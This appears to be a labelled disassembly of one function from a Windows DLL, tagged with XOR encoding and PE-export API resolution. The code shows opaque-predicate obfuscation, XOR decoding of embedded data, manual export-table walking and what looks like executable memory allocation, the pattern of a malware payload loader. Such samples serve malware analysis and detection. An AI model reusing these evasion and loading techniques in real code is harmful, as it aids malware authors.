Function at 0x1800010b0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
cmp dword [0x180020a6c], 0xa
jl 0x1800010e2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010e2
nop
jmp 0x1800010e0
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001122
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001122
nop
jmp 0x180001120
lea r9, section..data
cmp edi, 0xa
jl 0x18000113d
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001560
mov r10b, byte [section..data]
mov byte [rdx], r10b
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001197
test eax, eax
je 0x180001197
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete r11b
cmp ecx, 0xa
setl bl
or bl, r11b
nop word [rax + rax]
test bl, bl
je 0x180001190
mov byte [rdx], r10b
cmp ecx, 0xa
jl 0x1800011a4
test eax, eax
jne 0x180001560
mov r10b, byte [0x180004001]
mov byte [rdx + 1], r10b
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x1800011f8
test eax, eax
je 0x1800011f8
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete r11b
cmp ecx, 0xa
setl bl
or bl, r11b
nop
test bl, bl
je 0x1800011f0
mov byte [rdx + 1], r10b
cmp ecx, 0xa
jl 0x180001205
test eax, eax
jne 0x180001560
mov r10b, byte [0x180004002]
mov byte [rdx + 2], r10b
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001258
test eax, eax
je 0x180001258
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete r11b
cmp ecx, 0xa
setl bl
or bl, r11b
test bl, bl
je 0x180001250
mov byte [rdx + 2], r10b
cmp ecx, 0xa
jl 0x180001265
test eax, eax
jne 0x180001560
mov cl, byte [0x180004003]
mov byte [rdx + 3], cl
mov esi, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
cmp edi, 0xa
jl 0x1800012b7
test eax, eax
je 0x1800012b7
mov esi, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
sete r10b
cmp edi, 0xa
setl bl
or bl, r10b
nop
test bl, bl
je 0x1800012b0
mov byte [rdx + 3], cl
cmp edi, 0xa
jl 0x1800012c4
test eax, eax
jne 0x180001560
cmp dword [0x180020a6c], 0xa
jl 0x180001582
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001582
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
cmp edi, 0xa
jl 0x18000130a
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001570
mov r8d, 3
mov rcx, r9
mov al, byte [r9]
jmp 0x180001320
mov al, byte [rcx]
nop word [rax + rax]
mov byte [rdx], al
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp edi, 0xa
jl 0x180001340
test esi, esi
jne 0x180001320
cmp edi, 0xa
jl 0x18000134d
test esi, esi
jne 0x180001550
add rcx, 1
add rdx, 1
sub r8, 1
jae 0x180001318
cmp edi, 0xa
jl 0x18000136f
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001580
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800013b4
test eax, eax
je 0x1800013b4
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop dword [rax]
test dl, dl
je 0x1800013b0
cmp ecx, 0xa
jl 0x1800013c1
test eax, eax
jne 0x180001540
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001404
test eax, eax
je 0x180001404
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop
test dl, dl
je 0x180001400
cmp ecx, 0xa
jl 0x180001411
test eax, eax
jne 0x180001540
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001454
test eax, eax
je 0x180001454
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop
test dl, dl
je 0x180001450
cmp ecx, 0xa
jl 0x180001461
test eax, eax
jne 0x180001540
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp edi, 0xa
jl 0x1800014a4
test eax, eax
je 0x1800014a4
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete dl
cmp edi, 0xa
setl cl
or cl, dl
nop
test cl, cl
je 0x1800014a0
cmp edi, 0xa
jl 0x1800014b1
test eax, eax
jne 0x180001540
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
cmp dword [0x180020a6c], 0xa
jl 0x180001507
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001507
mov r8d, 3
mov rcx, r9
cmp edi, 0xa
jl 0x180001318
lea eax, [rbx - 1]
imul eax, ebx
mov r8d, 3
mov rcx, r9
and eax, 1
je 0x180001318
jmp 0x180001570
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp edi, 0xa
jl 0x180001129
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001129
jmp 0x180001120
jmp 0x180001540
jmp 0x180001550
jmp 0x180001560
jmp 0x180001570
jmp 0x180001580
mov r12d, dword [rdx]
test r12, r12
je 0x1800016fc
xor ecx, ecx
cmp r12d, 0x10
jb 0x180001676
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x180001676
mov ecx, r12d
and ecx, 0xfffffff0
lea rdx, [rcx - 0x10]
mov rax, rdx
shr rax, 4
add rax, 1
mov r9d, eax
and r9d, 1
test rdx, rdx
je 0x180001639
mov rdx, r9
sub rdx, rax
xor ebx, ebx
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, ebx
and eax, 0x3e0
movups xmm1, xmmword [rax + r10 + 4]
movups xmm2, xmmword [rbx + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rbx + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rbx + r10 + 0x404], xmm2
lea eax, [rbx + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rbx + r10 + 0x414], xmm1
add rbx, 0x20
add rdx, 2
jne 0x1800015e2
jmp 0x18000163b
xor ebx, ebx
test r9, r9
je 0x18000166d
mov eax, ebx
and eax, 0x3f0
lea rdx, section..data
movups xmm0, xmmword [rax + rdx + 4]
movups xmm1, xmmword [rbx + rdx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rbx + rdx + 0x404], xmm1
cmp rcx, r12
je 0x1800016fc
mov rax, rcx
not rax
test r12b, 1
je 0x1800016aa
mov edx, ecx
and edx, 0x3f0
lea rbx, section..data
mov dl, byte [rdx + rbx + 4]
xor dl, byte [rcx + rbx + 0x404]
xor dl, 0xc
mov byte [rcx + rbx + 0x404], dl
or rcx, 1
add rax, r12
je 0x1800016fc
lea rax, section..data
mov edx, ecx
and edx, 0x3ff
movzx edx, byte [rdx + rax + 4]
xor dl, byte [rcx + rax + 0x404]
xor dl, 0xc
mov byte [rcx + rax + 0x404], dl
lea edx, [rcx + 1]
and edx, 0x3ff
movzx edx, byte [rdx + rax + 4]
xor dl, byte [rcx + rax + 0x405]
xor dl, 0xc
mov byte [rcx + rax + 0x405], dl
add rcx, 2
cmp r12, rcx
jne 0x1800016b6
cmp edi, 0xa
jl 0x180001712
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
je 0x180001712
nop dword [rax]
jmp 0x180001710
lea r14, section..data
lea r10, [r12 + r14]
add r10, 0x404
mov r9d, 3
mov rax, r8
mov rbx, r10
mov cl, byte [r10]
jmp 0x180001740
mov cl, byte [rbx]
nop word [rax + rax]
mov byte [rax], cl
mov edx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
cmp edi, 0xa
jl 0x180001760
test esi, esi
jne 0x180001740
cmp edi, 0xa
jl 0x18000176d
test esi, esi
jne 0x180001960
add rbx, 1
add rax, 1
sub r9, 1
jae 0x180001735
cmp dword [0x180020a6c], 0xa
jl 0x180001972
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001972
cmp edi, 0xa
jl 0x1800017b1
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001970
mov dl, byte [r12 + r14 + 0x404]
nop dword [rax]
mov byte [r8], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x1800017e1
test eax, eax
jne 0x1800017c0
cmp ecx, 0xa
jl 0x1800017ee
test eax, eax
jne 0x180001950
mov dl, byte [r12 + r14 + 0x405]
mov byte [r8 + 1], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001842
test eax, eax
je 0x180001842
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
test bl, bl
je 0x18000183a
mov byte [r8 + 1], dl
cmp ecx, 0xa
jl 0x18000184f
test eax, eax
jne 0x180001950
mov dl, byte [r12 + r14 + 0x406]
mov byte [r8 + 2], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x1800018a3
test eax, eax
je 0x1800018a3
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
test bl, bl
je 0x18000189b
mov byte [r8 + 2], dl
cmp ecx, 0xa
jl 0x1800018b0
test eax, eax
jne 0x180001950
mov cl, byte [r12 + r14 + 0x407]
mov byte [r8 + 3], cl
mov edx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x180001904
test eax, eax
je 0x180001904
mov edx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete r9b
cmp edi, 0xa
setl bl
or bl, r9b
test bl, bl
je 0x1800018fc
mov byte [r8 + 3], cl
cmp edi, 0xa
jl 0x18000190d
test eax, eax
jne 0x180001950
mov r9d, 3
mov rax, r8
mov rbx, r10
cmp edi, 0xa
jl 0x180001735
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, 3
mov rax, r8
mov rbx, r10
and ecx, 1
je 0x180001735
jmp 0x180001710
jmp 0x180001950
jmp 0x180001960
jmp 0x180001970
add r10, 4
mov r9d, dword [r8]
test r9, r9
mov qword [rbp - 0x10], r10
je 0x180001adc
xor eax, eax
cmp r9d, 0x20
jb 0x180001ab7
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001ab7
lea rcx, [r12 + r14]
add rcx, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rcx, rdx
jae 0x1800019dc
lea rcx, [r9 + r12]
add rcx, r14
add rcx, 0x408
lea rdx, str.LXMibEyYsnHDcvhZDDcdUmsOytlgQGIswEIlceXjPColVoepTeeJgTBwIzAQCVlsiuvUmMdWAPqYjHekxYgSckFBPOYtEftsLeADunzvFOcDbeECumPSpRtOTAgOHZzbtXFAdgmpIuoipbrmicmQOnZqzmHLoJmwSYXHWPdoJMZDhTViliMcbTVUgEMKGpePPOqmYFFeHaGuRpKkXcijSwwlmrkXfkskseeMpoUxZcqbRZYpkmtemflBlVTxQnlWfQKXoXggdSlEuwMtPxtWtXkEXRnbCIgEDYLsVDztmCCAvdWWyDMEHvhJlrrjrcsxMLlpxdvxnVGxZIMUyBiPISKePMnmtuEMDvWQsJiktRtSWwmMWBQvMXoEsbIndePjVZeKoiTVQsMVmYocYPAKrtjBgrSDbVkcGBcgEaXTILpfHldnIMiijFYlkWGoeByEBnKTpJhyeKiifDHxcxkxJCDCiIYoobBGtdEDKdeeCRbDIosGEekhXAOrcGQIPQIxRYQHnThAHIkhkyuVlbmZphgapznUdOyuCgYLgKfKPZdTMJPRpJCzMCcWTExcnftqjRqljGaCsIADatSbkmtzaIOAHshFIwFBnAjSZAoyooEOwSoeJvEcATTKawFPtQQWqMwbQIHVrYWSiQDgbgFzUtLXjBozeestQOeYHpiPQcGscRBpUtYWYSDJxDealEZQjWgijXKFuaBkFxqoWulJOPYvACFoZaPFnlltpGaqQVuYfbwLMyCWCGnFAhWfkUilWODfdIeXhaJCzqksVDKCLIkoDjnyvLqEXVYGQSqAbITGwalSWpzkYfnxKeukUSPkBALzZoWBwwaFogzvLtRqgasiZxJqDCaBtHRzQbucUwOjehQQnLIDJUIxrbcIHWHBhcOlIygfrzSpfTMPuSExYEJukibRYbnnvAIAkYoqicCJrBrfvuKHvVpfWsjIEnlKmDIYIJsMlIpRWnQcGJMjHXIhrpkoQXJxFQcxGOKAPEAxmBowmizoeOoHLnqCfOL
cmp rcx, rdx
jbe 0x1800019dc
xor eax, eax
jmp 0x180001ab7
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001a77
lea rdi, [r12 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001a10
jmp 0x180001a79
xor esi, esi
test r8, r8
mov r10, qword [rbp - 0x10]
je 0x180001ab2
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [r10 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rsi], xmm2
movups xmmword [r10 + rsi + 0x10], xmm0
cmp rax, r9
je 0x180001adc
lea rdx, [r12 + r14]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001ac2
cmp dword [0x180020a7c], 0xa
jl 0x180001b02
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001b02
nop word cs:[rax + rax]
jmp 0x180001b00
add r12, 0x408
movsxd rax, dword [0x180004440]
mov rsi, r10
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001b13
add rax, r14
add rax, 0x404
mov qword [rbp - 8], rax
mov r15, rsi
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001b2c
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001b39
mov r13, rbx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001b45
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001b53
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001b60
sub rsp, 0x20
mov rcx, rsi
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b9a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000241b
mov qword [rbp - 0x30], rbx
mov qword [rbp], rsi
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bd1
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000241d
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r15
nop dword [rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001c06
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001bf0
cmp cl, bl
je 0x180001c14
add rsi, 4
add r10, 2
jmp 0x180001be4
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c4e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000241f
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c7d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002421
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r13
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001cb6
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001ca0
cmp bl, cl
je 0x180001cc4
add rdx, 4
add r9, 2
jmp 0x180001c90
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002b60
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d28
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002423
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x180001d5e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002425
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001d90
add rsi, 1
cmp al, bl
je 0x180001d78
cmp al, bl
je 0x180001d9e
add rdx, 4
add r9, 2
jmp 0x180001d71
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r14d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [r14 - 1]
imul edx, r14d
and edx, 1
cmp ecx, 0xa
jl 0x180002427
test edx, edx
je 0x180002427
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov rbx, rdx
jl 0x180001e21
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbx, rdx
and ecx, 1
jne 0x1800023ff
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001e21
mov r15, rbx
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001e2d
mov r14, r15
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001e3a
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001e44
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001e51
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001e5d
sub rsp, 0x20
mov rcx, rbx
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e99
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002401
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ed0
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002403
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r15
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001f06
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001ef0
cmp cl, bl
je 0x180001f14
add rsi, 4
add r10, 2
jmp 0x180001ee3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f4e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002405
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f7d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002407
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r14
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180001fb6
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180001fa0
cmp al, cl
je 0x180001fc4
add rdx, 4
add rdi, 2
jmp 0x180001f90
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002b60
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180002027
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002409
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x18000205d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000240b
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180002098
add rsi, 1
cmp al, bl
je 0x180002080
cmp al, bl
je 0x1800020a6
add rdx, 4
add r9, 2
jmp 0x180002070
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov rbx, rdx
jl 0x180002104
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbx, rdx
and ecx, 1
jne 0x18000240d
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180002104
mov r15, rbx
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180002110
mov r14, r15
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000211d
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180002127
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180002134
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180002140
sub rsp, 0x20
mov rcx, rbx
call fcn.180002b60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000217c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000240f
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800021b3
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002411
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r15
nop
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x1800021e6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x1800021d0
cmp cl, bl
je 0x1800021f4
add rsi, 4
add r10, 2
jmp 0x1800021c6
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000222e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002413
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000225d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002415
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r14
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180002296
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180002280
cmp al, cl
je 0x1800022a4
add rdx, 4
add rdi, 2
jmp 0x180002270
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002b60
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180002307
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002417
